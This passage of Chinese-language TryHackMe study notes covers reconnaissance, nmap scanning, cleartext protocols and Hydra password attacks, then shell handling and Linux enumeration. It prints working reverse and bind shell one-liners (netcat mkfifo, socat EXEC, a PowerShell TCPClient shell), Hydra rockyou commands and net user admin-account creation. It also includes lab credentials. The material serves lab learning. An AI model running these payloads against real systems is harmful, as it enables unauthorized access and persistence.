可以使用为 DNS 查询提供详细答案的在线服务,例如 DNSDumpster。如果我们在 DNSDumpster 中搜索 tryhackme.com,我们会发现子域 blog.tryhackme.com,这是典型的 DNS 查询无法提供的。此外,DNSDumpster 会将收集到的 DNS 信息以易于阅读的表格和图表形式返回。DNSDumpster 还将提供有关侦听服务器的任何收集信息。

Task4 Shodan.io

此记录显示 Web 服务器;但是,如前所述,Shodan.io 会收集与它可以在网上找到的任何连接设备相关的信息。在 Shodan.io 上搜索 tryhackme.com 将至少显示上面屏幕截图中显示的记录。通过这个 Shodan.io 搜索结果,我们可以了解与我们的搜索相关的几件事,例如:

  • IP地址
  • 托管公司
  • 地理位置
  • 服务器类型和版本

主动侦察

Task1 浏览器

可以利用web开发者工具或者Wappalyzer插件去信息搜集

Task2 ping

确保目标系统在线

一般来说,当我们没有收到 ping 回复时,有一些解释可以解释为什么我们没有收到 ping 回复,例如:

  • 目标计算机没有响应;可能仍在启动或关闭,或者操作系统已崩溃。
  • 它已从网络中拔下,或者路径上有故障的网络设备。
  • 防火墙配置为阻止此类数据包。防火墙可能是在系统本身上运行的软件,也可能是单独的网络设备。请注意,MS Windows 防火墙默认阻止 ping。
  • 您的系统已从网络中拔下。

Task3 路由跟踪

顾名思义,traceroute 命令跟踪数据包从系统到另一台主机的路由。traceroute 的目的是查找数据包在从系统传输到目标主机时经过的路由器或跃点的 IP 地址。此命令还显示两个系统之间的路由器数量。它非常有用,因为它指示系统和目标主机之间的跃点(路由器)数。但是,请注意,数据包采用的路由可能会发生变化,因为许多路由器使用适应网络变化的动态路由协议。

尝试发现从系统到目标系统的路径上的路由器

1
traceroute 10.10.10.1

Task4 telnet

使用 telnet 10.10.110.51 PORT,您可以连接到在 TCP 上运行的任何服务,甚至可以交换一些消息,除非它使用加密。我们可以添加上一些内容获得有效的响应,添加好后按两下回车即可

1
2
GET / HTTP/1.1
host: telnet #随便写一个

nmap探测存活主机

Task1 子网

在继续执行主要任务之前,让我们回顾一下几个术语。网段是使用共享介质连接的一组计算机。例如,介质可以是以太网交换机或 WiFi 接入点。在 IP 网络中,子网通常相当于一个或多个网络连接在一起并配置为使用同一路由器的网段。网段是指物理连接,而子网是指逻辑连接。

在下面的网络图中,我们有四个网段或子网。一般来说,您的系统将连接到这些网段/子网之一。子网(或简称子网)具有自己的 IP 地址范围,并通过路由器连接到更广泛的网络。根据每个网络,可能存在强制实施安全策略的防火墙。

上图显示了两种类型的子网:

  • 带有 /16 的子网,这意味着子网掩码可以写入 255.255.0.0。此子网可以有大约 65,000 台主机。
  • 子网替换为 /24 ,这表示子网掩码可以表示为 255.255.255.0 。此子网可以有大约 250 个主机。

Task2 枚举目标

如果您想检查 Nmap 将扫描的主机列表,您可以使用-sL参数。此选项将为您提供 Nmap 将扫描而不扫描的主机的详细列表

Task3 使用 ARP 的 Nmap 主机发现

如果要使用 Nmap 来发现在线主机,而不对实时系统进行端口扫描,可以使用-sn参数

1
nmap -PR -sn 10.10.210.6/24

注:其中 -PR 表示只需要 ARP 扫描

Task4 使用 ICMP 的 Nmap 主机发现

要使用 ICMP 回显请求来发现活动主机,使用参数-PE (如果不在后面进行端口扫描,添加-sn

1
nmap -PE -sn 10.10.68.220/24

使用 ICMP 地址掩码查询发现活动主机

1
nmap -PM -sn 10.10.68.220/24

使用 ICMP 时间戳发现活动主机

1
nmap -PP -sn 10.10.68.220/24

Task5 使用 TCP 和 UDP 的 Nmap 主机发现

TCP

1
nmap -PS -sn 10.10.68.220/24

参数:-PS/PA TCP SYN/ACK

UDP

1
nmap -PU -sn 10.10.68.220/24

nmap端口扫描

Task1 TCP和UDP端口

与 IP 地址指定网络上的主机以及其他主机一样,TCP 端口或 UDP 端口也用于标识该主机上运行的网络服务。服务器提供网络服务,并且遵循特定的网络协议。示例包括提供时间、响应 DNS 查询以及提供网页。端口通常使用该特定端口号链接到服务。例如, HTTP服务器默认绑定到 TCP 端口 80;此外,如果HTTP服务器支持 SSL/TLS,它将侦听 TCP 端口 443。(TCP 端口 80 和 443 是HTTP和 HTTPS 的默认端口;但是,网络服务器管理员可以根据需要选择其他端口号。)此外,最多只有一个服务可以侦听任何 TCP 或UDP端口(同一 IP 地址)。

冒着过于简单化的风险,我们可以将端口分为两种状态:

  1. 打开端口表示有某个服务正在侦听该端口。
  2. 关闭端口表示该端口没有服务监听。

但在实际情况中,我们需要考虑防火墙的影响。例如,端口可能是开放的,但防火墙可能会阻止数据包。因此, Nmap考虑以下六种状态:

  1. Open :表示有服务正在监听指定端口。
  2. Closed :表示没有服务正在侦听指定端口,尽管该端口是可访问的。可访问是指它是可访问的并且不会被防火墙或其他安全设备/程序阻止。
  3. Filtered :表示Nmap无法确定端口是打开还是关闭,因为该端口不可访问。这种状态通常是由于防火墙阻止Nmap到达该端口造成的。 Nmap的数据包可能被阻止到达端口;或者,响应被阻止到达Nmap的主机。
  4. Unfiltered :表示尽管端口可以访问,但Nmap无法确定端口是打开还是关闭。使用 ACK 扫描-sA时会遇到此状态。
  5. Open|Filtered :这意味着Nmap无法确定端口是开放的还是已过滤的。
  6. Closed|Filtered :这意味着Nmap无法决定端口是关闭还是过滤。

Task2 TCP连接扫描

1
nmap -sT 10.10.10.2

注:使用-F启用快速模式并将扫描端口的数量从 1000 个最常见端口减少到 100 个。

​ 使用-r选项以连续顺序而不是随机顺序扫描端口。

TCP SYN

TCP SYN 扫描是以特权用户身份运行 Nmap、以 root 身份运行或使用 sudo 运行 Nmap 时的默认扫描模式,它是一个非常可靠的选择。它已成功发现您之前通过TCP连接扫描找到的开放端口,但尚未与目标完全建立TCP连接。

1
nmap -sS 10.10.10.2

Task3 UDP连接扫描

1
nmap -sU 10.10.10.2

Task4 调整范围和性能

扫描端口范围

您可以指定要扫描的端口,而不是默认的 1000 个端口。比如下面这样

  • 端口列表: -p22,80,443将扫描端口 22、80 和 443。
  • 端口范围: -p1-1023将扫描 1 到 1023(含)之间的所有端口,而-p20-25将扫描 20 到 25(含)之间的端口。

可以使用-p-请求扫描所有端口,这将扫描所有 65535 端口。如果要扫描最常见的 100 个端口,请添加-F 。使用--top-ports 10将检查十个最常见的端口。

扫描速度

您可以使用-T<0-5>控制扫描时序。 -T0是最慢的(偏执),而-T5是最快的。

为了避免IDS警报,您可以考虑-T0-T1 。例如, -T0一次扫描一个端口,并在发送每个探测之间等待 5 分钟,因此您可以猜测扫描一个目标需要多长时间才能完成。如果您不指定任何时间, Nmap将使用正常的-T3 。请注意, -T5就速度而言是最具侵略性的;但是,由于丢包的可能性增加,这可能会影响扫描结果的准确性。请注意, -T4通常在 CTF 期间和学习扫描练习目标时使用,而-T1通常在隐秘性更重要的真实交战中使用。

或者,您可以选择使用--min-rate <number>--max-rate <number>控制数据包速率。例如, --max-rate 10--max-rate=10可确保您的扫描仪每秒发送的数据包不超过 10 个。

Nmap 后端口扫描

Task1 服务检测

1
nmap -sV MACHINE_IP

Task2 保存输出

使用普通模式保存

1
sudo nmap -sS -sV -O -oN 1_scan 10.10.10.2

协议和服务1

Task1 telnet远程登录

Telnet 服务使用 Telnet 协议监听端口 23 上的传入连接。尽管 Telnet 使我们能够立即访问远程系统的终端,但它并不是一个可靠的远程管理协议,因为所有数据都以明文形式发送。下图中,我们捕获了Telnet产生的流量,很容易找到密码。下图显示了我们的计算机和远程系统之间交换的 ASCII 数据。

Telnet 不再被视为安全选项,尤其是任何捕获您的网络流量的人都将能够发现您的用户名和密码,这将授予他们访问远程系统的权限。安全的替代方案是SSH

Task2 HTTP

HTTP以明文形式发送和接收数据(未加密);因此,您可以使用简单的工具,例如 Telnet(或 Netcat),与 Web 服务器通信并充当“Web 浏览器”。主要区别在于您需要输入HTTP相关命令,而不是 Web 浏览器为您执行此操作。

Task3 FTP 文件传输协议

文件传输协议( FTP )的开发是为了使不同系统的不同计算机之间的文件传输更加高效。FTP还以明文形式发送和接收数据;因此,我们可以使用Telnet(或Netcat)与FTP服务器通信并充当FTP客户端。默认监听端口为21。

利用给的用户名和密码进行ftp登录,get命令下载flag到本机

  • Username: frank
  • Password: D2xc9CgD

Task4 SMTP 简单邮件传输协议

简单邮件传输协议 (SMTP) 用于与MTA服务器进行通信。由于 SMTP 使用明文,所有命令均在不加密的情况下发送,因此我们可以使用基本的 Telnet 客户端连接到 SMTP 服务器并充当发送消息的电子邮件客户端 ( MUA )。SMTP服务器默认监听端口 25。

Task5 POP3 邮局协议3

POP3默认端口 110

用户通过提供用户名USER frank和密码PASS D2xc9CgD进行身份验证。使用命令STAT ,我们得到回复+OK 1 179 ;根据RFC 1939 ,对STAT肯定响应格式为+OK nn mm ,其中nn是收件箱中的电子邮件数量, mm是收件箱的大小(以八位位组(字节)为单位)。命令LIST提供服务器上的新消息列表, RETR 1检索列表中的第一条消息。我们不需要费力去记住这些命令;不过,这有助于加强我们对此类协议的理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@ip-10-10-7-230:~# telnet 10.10.202.102 110
Trying 10.10.202.102...
Connected to 10.10.202.102.
Escape character is '^]'.
+OK Hello there.
USER frank
+OK Password required.
PASS D2xc9CgD
+OK logged in.
STAT
+OK 1 179
LIST
+OK 1 messages (179) octets
1 179
.
RETR 1
+OK
From: Mail Server
To: Frank
subject: Sending email with Telnet
Hello Frank,
I am just writing to say hi!
.
QUIT
+OK 10.10.202.102 closing connection
Connection closed by foreign host.

Task6 IMAP 互联网消息访问协议

Internet 消息访问协议 (IMAP) 比 POP3 更复杂。 IMAP 可以让您的电子邮件在多个设备(和邮件客户端)之间保持同步。换句话说,如果您在智能手机上检查电子邮件时将电子邮件标记为已读,则更改将保存在 IMAP 服务器 ( MDA ) 上,并在同步收件箱时复制到您的笔记本电脑上。默认端口为143

很明显, IMAP以明文形式发送登录凭据,正如我们在命令LOGIN frank D2xc9CgD中看到的那样。任何观察网络流量的人都能够知道弗兰克的用户名和密码。

Task7 总结

协议 TCP端口 申请 数据安全
FTP 21 文件传输 明文
HTTP 80 全球资讯网 明文
IMAP 143 电子邮件 ( MDA ) 明文
POP3 110 电子邮件 ( MDA ) 明文
SMTP 25 电子邮件 ( MTA ) 明文
远程登录 23 远程访问 明文

协议和服务2

Task1 嗅探攻击

嗅探攻击是指利用网络抓包工具来收集目标的信息。当协议以明文方式通信时,第三方可以捕获交换的数据进行分析。如果数据在传输过程中未加密,则简单的网络数据包捕获可能会泄露信息,例如私人消息的内容和登录凭据。

只要用户具有适当的权限( Linux上的 root 权限和 MS Windows 上的管理员权限),就可以使用以太网 (802.3) 网卡进行嗅探攻击。有许多程序可用于捕获网络数据包。我们考虑以下几点:

  1. Tcpdump是一个免费的开源命令行界面 ( CLI ) 程序,已被移植到许多操作系统上。
  2. Wireshark是一款免费的开源图形用户界面 (GUI) 程序,适用于多种操作系统,包括Linux 、macOS 和 MS Windows。
  3. Tshark是 Wireshark 的CLI替代品。

数据包捕获需要sudo权限

1
sudo tcpdump port 110 -A

注:-A作用是以 ASCII 格式显示捕获的数据包的内容

Task2 中间人 (MITM) 攻击

当受害者 (A) 认为自己正在与合法目的地 (B) 通信,但在不知不觉中与攻击者 (E) 通信时,就会发生中间人 ( MITM ) 攻击。下图中,我们有A请求向M转账20美元;然而,E 更改了该消息并用新值替换了原始值。 B 收到修改后的消息并对其采取行动。

MITM还会影响其他明文协议,例如 FTP、SMTP 和 POP3。缓解这种攻击需要使用密码学。解决方案在于正确的身份验证以及交换消息的加密或签名。借助公钥基础设施 (PKI) 和受信任的根证书,传输层安全 (TLS) 可以防止MITM攻击。

可以用来进行中间人攻击的工具,例如EttercapBettercap

Task3 传输层安全 (TLS)

可以防止密码嗅探和MITM攻击,现有的明文协议可以升级为使用 SSL/TLS 加密。我们可以使用 TLS 来升级HTTP 、 FTP 、 SMTP 、 POP3 和IMAP等。下表列出了我们涵盖的协议及其通过 SSL/TLS 加密升级前后的默认端口。

Protocol 协议 Default Port 默认端口 Secured Protocol 安全协议 Default Port with TLS 带 TLS 的默认端口
HTTP 80 HTTPS 443
FTP 21 FTPS 990
SMTP 25 SMTPS 465
POP3 110 POP3S 995
IMAP 143 IMAPS 993

为了使 SSL/TLS 有效,尤其是通过 HTTPS 浏览网页时,我们依赖于我们系统信任的证书颁发机构签署的公共证书。换句话说,当我们通过 HTTPS 浏览TryHackMe时,我们的浏览器期望 TryHackMe Web 服务器提供来自受信任证书颁发机构的签名证书,如下例所示。这样,我们的浏览器就可以确保它与正确的服务器进行通信,并且不会发生MITM攻击。

Task4 安全外壳 (SSH)

我们可以使用SSH来传输文件,在SSH协议的基础上使用SCP(Secure Copy Protocol),示例如下

1
scp mark@10.10.224.115:/home/mark/book.txt ~

该命令将从位于/home/mark目录的远程系统中名为book.txt的文件复制到~ ,即当前登录用户的主目录的根目录。

也可以将本地文件复制到ssh连接的远程系统上

1
scp backup.tar.bz2 mark@10.10.224.115:/home/mark/

此命令会将文件backup.tar.bz2从本地系统复制到远程系统上的目录/home/mark/

Task5 密码攻击

Hydra 支持许多协议,包括 FTP、POP3、IMAP、SMTP、SSH 以及所有与HTTP相关的方法。

1
hydra -l username -P wordlist.txt server service
  • -l username-l应位于username之前,即目标的登录名。

  • -P wordlist.txt :-P 位于wordlist.txt文件之前, -P文件是一个文本文件,其中包含您要使用提供的用户名尝试的密码列表。

  • server是目标服务器的主机名或 IP 地址。

  • service表示您尝试发起字典攻击的服务。

  • -s PORT为相关服务指定非默认端口。

  • -V-vV表示详细信息,使Hydra显示正在尝试的用户名和密码组合。这种冗长的内容非常方便查看进度,特别是如果您对自己的命令行语法仍然没有信心的话。

  • -tn其中 n 是目标的并行连接数。 -t 16将创建 16 个线程用于连接到目标。

  • -d ,用于调试,以获得有关正在发生的情况的更多详细信息。调试输出可以让你省去很多挫败感;例如,如果Hydra尝试连接到一个关闭的端口并超时, -d将立即显示这一点。

假设得到某个电子邮件帐户是lazie ,尝试得到用于访问 10.10.224.115 上的 IMAP 服务的密码

1
hydra -l lazie -P /usr/share/wordlists/rockyou.txt 10.10.224.115 imap

网络安全挑战

Task1

1
nmap 10.10.58.189

扫出来小于10000的最大开放端口为8080

Task2

1
nmap  -p1-20000 -v 10.10.58.189

得到大于10000端口的10021

Task3

1
nmap 10.10.58.189 -sT -v -p1-20000

打开了6个 TCP 端口

Task4

使用telnet连接靶机的80端口,然后传入以下内容按两下enter发送

1
2
GET / HTTP/1.1
host: test

拿到flag

Task5

连接ssh的默认端口22

Task6

刚刚扫描有个未知服务的端口10021,连接得到FTP版本信息

Task7

由于不是默认端口,使用-s参数指定端口

1
hydra -l eddie -P /usr/share/wordlists/rockyou.txt 10.10.58.189 ftp -s 10021

得到用户名和密码,不过ftp服务器连上去拿不到flag。爆破另外一个用户名密码

1
hydra -l quinn -P /usr/share/wordlists/rockyou.txt 10.10.58.189 ftp -s 10021

连接ftp,下载拿到flag

1
ftp 10.10.58.189 10021

权限提升

什么是shell

Task1 shell类型

在高层次上,我们对利用目标的两种 shell 感兴趣:反向 shell 和绑定 shell。

  • 反向 shell是指目标被迫执行连接您的计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。然而,由于我们连接网络的方法,这在 TryHackMe 网络上不会成为问题。
  • 绑定 shell是指在目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。

Task2 netcat

如前所述,当涉及任何类型的网络时,Netcat 是渗透测试人员工具包中最基本的工具。有了它,我们可以做各种各样有趣的事情,但现在让我们关注 shell。

反向shell

在上一个任务中,我们看到反向 shell 需要 shellcode 和侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。

使用Linux启动 netcat 侦听器的语法如下:

1
nc -lvnp <port-number>
  • -l用于告诉 netcat 这将是一个侦听器
  • -v用于请求详细输出
  • -n告诉 netcat 不要解析主机名或使用DNS 。解释这一点超出了房间的范围。
  • -p表示将遵循端口规范。

上一个任务中的示例使用端口 443。实际上,您可以使用您喜欢的任何端口,只要还没有服务使用它即可。请注意,如果您选择使用低于 1024 的端口,则在启动侦听器时需要使用sudo 。也就是说,使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。

一个可行的例子是:

1
sudo nc -lvnp 443

然后,我们可以使用任意数量的有效负载连接回此,具体取决于目标上的环境。

上一个任务中显示了这样的示例。

绑定shell

如果我们希望在目标上获得绑定 shell,那么我们可以假设目标的选定端口上已经有一个侦听器在等待我们:我们需要做的就是连接到它。其语法相对简单:

1
nc <target-ip> <chosen-port>

在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。

我们将在任务 8 中了解如何使用 netcat 为此类 shell 创建侦听器。这里重要的是您了解如何使用 netcat 连接到侦听端口。

Task3 netcat 稳定shell

默认情况下,这些 shell 非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且经常出现奇怪的格式错误。这是因为 netcat“shell”实际上是在终端运行的进程,而不是其本身的真正终端。幸运的是,有很多方法可以在 Linux 系统上稳定 netcat shell。我们将在这里关注三个。 Windows 反向 shell 的稳定往往要困难得多;然而,我们将在这里介绍的第二种技术对此特别有用。

方法一

我们将讨论的第一种技术仅适用于Linux机器,因为它们几乎总是默认安装 Python。这是一个三阶段过程:

  1. 首先要做的是使用 python -c 'import pty;pty.spawn("/bin/bash")' ,它使用 Python 生成功能更好的 bash shell;请注意,某些目标可能需要指定的 Python 版本。如果是这种情况,请根据需要将python替换为python2python3 。此时,我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 自动完成或箭头键,并且 Ctrl + C 仍然会终止 shell。
  2. 第二步是: export TERM=xterm这将使我们能够访问术语命令,例如clear
  3. 最后(也是最重要的)我们将使用 Ctrl + Z 将 shell 置于后台。回到我们自己的终端,我们使用stty raw -echo; fg这做了两件事:首先,它关闭了我们自己的终端回显(这使我们能够访问选项卡自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。

请注意,如果 shell 死机,您自己的终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请输入reset并按 Enter 键。

方法二

rlwrap 是一个程序,简单来说,它让我们在收到 shell 后立即访问历史记录、制表符自动完成和箭头键但是,如果您希望能够在 shell 内使用 Ctrl + C,则仍然必须使用一些手动稳定功能。 Kali 上默认没有安装 rlwrap,因此首先使用sudo apt install rlwrap安装它。

要使用 rlwrap,我们调用一个略有不同的侦听器:

1
rlwrap nc -lvnp <port>

在我们的 netcat 监听器前面加上“rlwrap”给我们一个功能更齐全的 shell。这种技术在处理 Windows shell 时特别有用,否则众所周知,Windows shell 很难稳定。在处理 Linux 目标时,可以通过使用与先前技术的第三步中相同的技巧来完全稳定:使用 Ctrl + Z 将 shell 设置为后台,然后使用stty raw -echo; fg稳定并重新进入 shell。

Task4 socat

Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其视为两点之间的连接器。为了这个房间的利益,这本质上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。

反向贝壳

如前所述,socat 的语法比 netcat 的语法困难得多。以下是 socat 中基本反向 shell 侦听器的语法:

1
socat TCP-L:<port> -

与 socat 一样,这需要两个点(监听端口和标准输入)并将它们连接在一起。生成的 shell 不稳定,但这可以在Linux或 Windows 上运行,相当于nc -lvnp <port>

在 Windows 上,我们将使用此命令来连接回来:

1
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。

这是Linux目标的等效命令:

1
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

绑定外壳

在Linux目标上,我们将使用以下命令:

1
socat TCP-L:<PORT> EXEC:"bash -li"

在 Windows 目标上,我们将使用以下命令作为侦听器:

1
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

我们使用“pipes”参数在CLI环境中处理输入和输出的 Unix 和 Windows 方式之间建立接口。

无论目标是什么,我们都会在攻击机器上使用此命令来连接到等待的侦听器。

socat TCP:<TARGET-IP>:<TARGET-PORT> -

现在让我们看看 Socat 更强大的用途之一:完全稳定的Linux tty 反向 shell。这仅在目标是Linux时才有效,但明显更稳定。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法:

1
socat TCP-L:<port> FILE:`tty`,raw,echo=0

让我们将该命令分为两部分。像往常一样,我们将两个点连接在一起。在本例中,这些点是侦听端口和文件。具体来说,我们将当前 TTY 作为文件传递,并将回显设置为零。这大约相当于使用 Ctrl + Z, stty raw -echo; fg使用 netcat shell 进行stty raw -echo; fg技巧 —— 额外的好处是立即稳定并连接到完整的 tty。

第一个侦听器可以与任何有效负载连接;但是,必须使用非常特定的 socat 命令激活此特殊侦听器。这意味着目标必须安装 socat。大多数机器默认情况下没有安装 socat,但是,可以上传预编译的 socat 二进制文件,然后可以正常执行。

特殊命令如下:

1
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

这是少数,所以让我们把它分解一下。

第一部分很简单——我们正在与在我们自己的机器上运行的侦听器连接。该命令的第二部分使用EXEC:"bash -li"创建交互式 bash 会话。我们还传递参数:pty、stderr、sigint、setsid 和 sane:

  • pty ,在目标上分配一个伪终端——稳定过程的一部分
  • stderr ,确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
  • sigint ,将任何 Ctrl + C 命令传递到子进程中,允许我们终止 shell 内的命令
  • setid ,在新会话中创建进程
  • sane ,稳定终端,尝试使其“正常化”。

需要考虑的内容有很多,所以让我们看看它的实际效果。

与往常一样,左边我们有一个在本地攻击机器上运行的侦听器,右边我们有一个受感染目标的模拟,使用非交互式 shell 运行。使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上收到完全交互式的 bash shell:

请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如SSH 。然后可以通过设置 stty 值(如上一个任务中所示)来进一步改进,这将使我们可以使用 Vim 或 Nano 等文本编辑器。

Task5 socat 加密shell

socat 的众多优点之一是它能够创建加密的 shell——绑定和反向。我们为什么要这样做?除非您拥有解密密钥,否则加密的 shell 无法被监视,并且通常能够绕过IDS 。

我们在上一个任务中介绍了如何创建基本 shell,因此这里不再介绍语法。可以说,任何时候TCP用作命令的一部分,在使用加密 shell 时都应该将其替换为OPENSSL 。我们将在任务结束时介绍一些示例,但首先让我们讨论一下证书。

我们首先需要生成一个证书才能使用加密的 shell。这在我们的攻击机器上最容易做到:

1
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

此命令创建一个带有匹配证书文件的 2048 位 RSA 密钥,该密钥是自签名的,并且有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,也可以随机填写。

然后我们需要将两个创建的文件合并为一个.pem文件:

1
cat shell.key shell.crt > shell.pem

现在,当我们设置反向 shell 侦听器时,我们使用:

1
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

这将使用我们生成的证书设置一个 OPENSSL 侦听器。 verify=0告诉连接不必尝试验证我们的证书是否已由公认的机构正确签名。请注意,证书必须在正在侦听的任何设备上使用。

要连接回来,我们将使用:

1
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

同样的技术也适用于绑定 shell:

目标:

1
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

攻击者:

1
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要复制 PEM 文件以用于绑定 shell。

Task6 常见shell payload

之前的任务提到我们将研究一些使用 netcat 作为 Bindshell 侦听器的方法,因此我们将从这里开始。在某些版本的 netcat 中(包括 Kali 附带的nc.exe Windows 版本,位于 /usr/share/windows-resources/binaries ,以及 Kali 本身使用的版本: netcat-traditional )有一个-e选项,允许您在连接上执行进程。例如,作为听众:

1
nc -lvnp <PORT> -e /bin/bash

使用 netcat 连接到上述侦听器将导致目标上有一个绑定 shell。

同样,对于反向 shell,连接回 nc <LOCAL-IP> <PORT> -e /bin/bash 会导致目标受到反向炮弹攻击。

然而,大多数版本的 netcat 中均未包含此功能,因为人们普遍认为它非常不安全(这很有趣,不是吗?)。在几乎总是需要静态二进制文件的 Windows 上,这种技术将完美地发挥作用。然而,在Linux上,我们将使用以下代码为绑定 shell 创建侦听器:

1
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

该命令首先在/tmp/f处创建一个命名管道。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)直接通过管道传输到sh中,将 stderr 输出流发送到 stdout 中,并将 stdout 本身发送到命名管道的输入中,从而完成循环。

可以使用非常相似的命令发送 netcat 反向 shell:

1
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

除了使用 netcat connect 语法(而不是 netcat Listen 语法)之外,此命令实际上与前一个命令相同。

当针对现代 Windows Server 时,需要 Powershell 反向 shell 是很常见的,因此我们将在这里介绍标准的单行 PSH 反向 shell。

该命令非常复杂,为了简单起见,这里不再直接解释。然而,这是一本非常有用的单行文字,值得随身携带:

1
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('**<ip>**',**<port>**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =  $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object  -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' +  (pwd).Path + '> ';$sendbyte =  ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

为了使用它,我们需要用适当的 IP 和端口选择替换“”和“”。然后可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的另一种方法,例如 webshell)中并执行,从而生成反向 shell

Task7 拿到shell下一步

我们已经介绍了许多生成、发送和接收 shell 的方法。这些的共同点是它们往往不稳定且非交互式。即使是更容易稳定的 Unix 风格的 shell 也不是理想的。那么,对此我们能做些什么呢?

理想情况下,在Linux上,我们会寻找机会访问用户帐户。存储在/home/<user>/.ssh中的SSH密钥通常是实现此目的的理想方法。在 CTF 中,在盒子上的某个地方发现凭证的情况也并不少见。有些漏洞还允许您添加自己的帐户。特别是像Dirty C0w或可写的 /etc/shadow 或 /etc/passwd 这样的东西会很快让你通过SSH访问机器,假设SSH是开放的。

在 Windows 上选项通常更加有限。有时可以在注册表中找到正在运行的服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中。某些版本的 FileZilla FTP 服务器还会将凭据保留在XML文件中: C:\Program Files\FileZilla Server\FileZilla Server.xml 或者 C:\xampp\FileZilla Server\FileZilla Server.xml 。这些可以是MD5哈希值或纯文本形式,具体取决于版本。

理想情况下,在 Windows 上,您将获得以 SYSTEM 用户身份运行的 shell,或者以高权限运行的管理员帐户。在这种情况下,可以简单地将您自己的帐户(在管理员组中)添加到计算机,然后通过RDP 、 telnet 、 winexe 、 psexec 、 WinRM 或任意数量的其他方法登录,具体取决于机器上运行的服务。

其语法如下:

1
2
net user <username> <password> /add
net localgroup administrators <username> /add

Linux 权限提升

Task1 信息搜集

hostname

hostname命令将返回目标计算机的主机名。尽管该值可以很容易地更改或具有相对无意义的字符串(例如 Ubuntu-3487340239),但在某些情况下,它可以提供有关目标系统在企业网络中的角色的信息(例如用于生产SQL服务器的SQL -PROD-01) 。

uname -a

将打印系统信息,为我们提供有关系统使用的内核的更多详细信息。这在搜索任何可能导致权限升级的潜在内核漏洞时非常有用。

/proc/version

proc 文件系统 (procfs) 提供有关目标系统进程的信息。您会在许多不同的Linux版本中找到 proc,这使其成为您的武器库中必不可少的工具。

Looking at /proc/version看着 /proc/version 可能会为您提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)。

/etc/issue

还可以通过查看/etc/issue文件来识别系统。该文件通常包含一些有关操作系统的信息,但可以轻松自定义或更改。在这个主题上,任何包含系统信息的文件都可以定制或更改。为了更清楚地了解系统,最好查看所有这些内容。

ps

ps命令是查看Linux系统上正在运行的进程的有效方法。在终端上输入ps将显示当前 shell 的进程。

ps (进程状态)的输出将显示以下内容;

  • PID :进程ID(进程唯一)
  • TTY:用户使用的终端类型
  • 时间:进程使用的CPU时间量(这不是该进程运行的时间)
  • CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

“ps”命令提供了一些有用的选项。

  • ps -A :查看所有正在运行的进程

  • ps axjf :查看进程树(在下面运行ps axjf之前查看树的形成)

  • ps auxaux选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)。查看ps aux命令的输出,我们可以更好地了解系统和潜在的漏洞。

env

env命令将显示环境变量。

PATH 变量可能具有编译器或脚本语言(例如Python),可用于在目标系统上运行代码或用于权限升级。

/etc/passwd

读取/etc/passwd文件是发现系统上用户的简单方法。虽然输出可能很长并且有点令人生畏,但它可以轻松地被剪切并转换为用于暴力攻击的有用列表。

1
cat /etc/passwd | cut -d ":" -f 1

